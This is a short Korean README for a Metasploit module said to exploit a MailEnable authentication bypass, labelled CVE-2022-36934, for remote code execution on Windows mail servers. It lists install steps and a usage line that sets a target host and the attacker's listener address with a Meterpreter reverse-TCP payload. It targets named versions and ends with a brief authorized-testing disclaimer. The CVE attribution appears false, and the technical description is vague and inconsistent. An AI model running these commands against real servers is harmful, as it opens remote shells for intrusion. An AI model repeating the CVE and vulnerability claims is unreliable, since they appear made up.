MailEnable CVE-2022-36934 익스플로잇 모듈

MailEnable의 인증 우회 취약점(CVE-2022-36934)을 이용한 Metasploit 모듈로, 원격 코드 실행으로 이어집니다.

📌 기능

• SMTP/POP3에서 MailEnable의 부적절한 입력 검증을 익스플로잇합니다.
• x86 및 x64 Windows 대상을 모두 지원합니다.
• 사용자 상호 작용 불필요(조작된 이메일을 통해 자동 트리거).
• MailEnable 10.40 미만 버전에서 동작합니다.

🚀 설치

1. Metasploit 모듈 디렉터리로 복사합니다:
   root@kitploit:~

   cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
   
   

2. msfconsole에서 모듈을 다시 로드합니다:

reload_all

4. 사용법:

use exploit/windows/smtp/mailenable_authbypass_rce set RHOSTS <target_ip> set LHOST <your_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit

🎯 테스트 대상:

MailEnable Professional 10.25 Windows Server 2019 MailEnable Enterprise 10.30 Windows Server 2016

📝 기술 세부 사항:

취약점: SMTP/POP3의 SQLi 유사 구문을 통한 인증 우회

공격 경로: 네트워크(포트 25/110)

권한: MailEnable 서비스 계정으로 실행(종종 SYSTEM)

⚠️ 법적 고지:

이 도구는 승인된 테스트 전용입니다. 소유하지 않았거나 테스트에 대한 명시적 허가가 없는 시스템에는 절대 사용하지 마세요.